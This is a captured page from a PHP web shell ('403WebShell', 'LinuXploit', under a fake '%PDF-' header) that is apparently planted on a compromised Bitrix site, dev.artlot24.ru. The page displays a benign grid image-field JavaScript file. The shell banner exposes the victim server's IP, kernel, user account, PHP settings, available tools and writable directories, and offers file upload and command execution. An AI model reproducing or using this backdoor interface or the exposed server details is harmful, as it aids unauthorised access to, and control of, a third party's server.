%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.2.68
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/.default/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/.default/js/image-field.js
;(function() {
	'use strict';

	BX.Reflection.namespace('BX.Grid');

	BX.Grid.ImageField = function(parent, options) {
		this.parent = parent;
		this.options = options;
		this.cache = new BX.Cache.MemoryCache();
	};

	BX.Grid.ImageField.prototype = {
		getPreview: function()
		{
			return this.cache.remember('preview', function() {
				return BX.create('img', {
					props: {
						className: 'main-grid-image-editor-preview'
					},
					attrs: {
						src: this.options.VALUE
					}
				});
			}.bind(this));
		},

		getFileInput: function()
		{
			return this.cache.remember('fileInput', function() {
				return BX.create("input", {
					props: {
						className: "main-grid-image-editor-file-input"
					},
					attrs: {
						type: "file",
						accept: "image/*",
						name: this.options.NAME
					},
					events: {
						change: function(event) {
							var reader = new FileReader();
							reader.onload = function(event) {
								this.getPreview().src = event.currentTarget.result;
							}.bind(this);

							reader.readAsDataURL(event.target.files[0]);

							BX.Dom.remove(this.getFakeField());
							BX.Dom.append(this.getFileInput(), this.getLayout());
							BX.Dom.removeClass(this.getRemoveButton(), 'ui-btn-disabled');
							BX.Dom.style(this.getPreview(), null);
						}.bind(this)
					}
				})
			}.bind(this));
		},

		getUploadButton: function()
		{
			return this.cache.remember('uploadButton', function() {
				return BX.create('button', {
					props: {
						className: "ui-btn ui-btn-xs"
					},
					text: this.parent.getParam("MAIN_UI_GRID_IMAGE_EDITOR_BUTTON_EDIT"),
					events: {
						click: function(event) {
							event.preventDefault();
							this.getFileInput().click();
						}.bind(this)
					}
				});
			}.bind(this));
		},

		getRemoveButton: function()
		{
			return this.cache.remember('removeButton', function() {
				return BX.create('button', {
					props: {
						className: "ui-btn ui-btn-xs ui-btn-danger"
					},
					events: {
						click: function(event) {
							event.preventDefault();
							BX.Dom.append(this.getFakeField(), this.getLayout());
							BX.Dom.remove(this.getFileInput());
							BX.Dom.addClass(this.getRemoveButton(), 'ui-btn-disabled');
							BX.Dom.style(this.getPreview(), {
								opacity: .4
							});
						}.bind(this)
					},
					text: this.parent.getParam('MAIN_UI_GRID_IMAGE_EDITOR_BUTTON_REMOVE')
				});
			}.bind(this));
		},

		getFakeField: function()
		{
			return this.cache.remember('deleted', function() {
				return BX.create("input", {
					props: {
						className: "main-grid-image-editor-fake-file-input"
					},
					attrs: {
						type: "hidden",
						name: this.options.NAME,
						value: 'null'
					}
				});
			}.bind(this));
		},

		getLayout: function()
		{
			return this.cache.remember('layout', function() {
				return BX.create("div", {
					props: {
						className: "main-grid-image-editor main-grid-editor"
					},
					attrs: {
						name: this.options.NAME
					},
					children: [
						BX.create("div", {
							props: {
								className: "main-grid-image-editor-left"
							},
							children: [
								this.getPreview()
							]
						}),
						BX.create("div", {
							props: {
								className: "main-grid-image-editor-right"
							},
							children: [
								this.getUploadButton(),
								this.getRemoveButton()
							]
						}),
						this.getFileInput()
					]
				});
			}.bind(this));
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit